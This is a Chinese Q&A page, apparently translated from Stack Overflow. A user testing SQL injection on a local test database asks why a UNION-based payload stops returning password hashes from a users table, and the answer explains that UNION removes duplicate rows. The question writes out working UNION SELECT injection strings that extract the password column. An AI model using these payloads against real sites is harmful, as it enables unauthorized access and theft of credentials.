如果数据库中存在多次输出,则不会显示输出

时间:2014-07-28 17:32:56

标签: php mysql sql

好的,所以我在localhost上测试了一些SQLi,我偶然发现了一个非常奇怪的错误"那是我以前从未见过的。

我试图从名为" game"的数据库中获取信息。用一个名为" users"的表(15栏)

这是表格的第一部分:

http://i.gyazo.com/7e6c81ef2b235a778dec1fd343e8c3bf.png enter image description here

哈希是"测试"和" test1"。

所以我会用

获得第一个哈希值
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 0,1--+-

a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

让我们继续,我们用

移动到另一行
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-

它得到b444ac06613fc8d63795be9ad0beaf55011936ac

所以一切都正常工作,但是如果我改变用户哈希值,那么它们就像

一样

http://i.gyazo.com/df1154a02cae5e5bbde04d7e47256899.png enter image description here

然后我们的第二次注射不再起作用了

'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-

它没有返回如何以及为什么这是可能的,最重要的是我将如何解决这个问题?我只希望它一次获得1个结果,而不是更多。

我正在使用Wamp在Windows 7计算机上进行测试。

正在执行的查询是

SELECT *
FROM users
WHERE id='-1'
UNION
SELECT concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15
from game.users
limit 1,1

1 个答案:

答案 0 :(得分:1)

来自MySQL手册:

  

UNION的默认行为是从结果中删除重复的行。

http://dev.mysql.com/doc/refman/5.6/en/union.html

如果您更改了这两行的密码字段,那么您将在UNION的第二部分中删除两个相同的行。

然而你所做的事情基本没有意义。你为什么使用CONCAT,但后来没有连接任何东西?

另外,如果你只想要一行,为什么要使用1的偏移?我认为你的偏移应该是0(即LIMIT 0, 1)。

最后,你为什么要开始这个联盟?

可能发生的是没有记录符合用户id = -1的条件然后由于重复数据删除,在预限制结果集中只返回了一行,您通过指定跳过该行偏移量为1.因此,您得到一个空的结果集。

在密码字段不同之前,您在预限制结果集中有两个不同的行,因此在偏移量1处有一行。

相关问题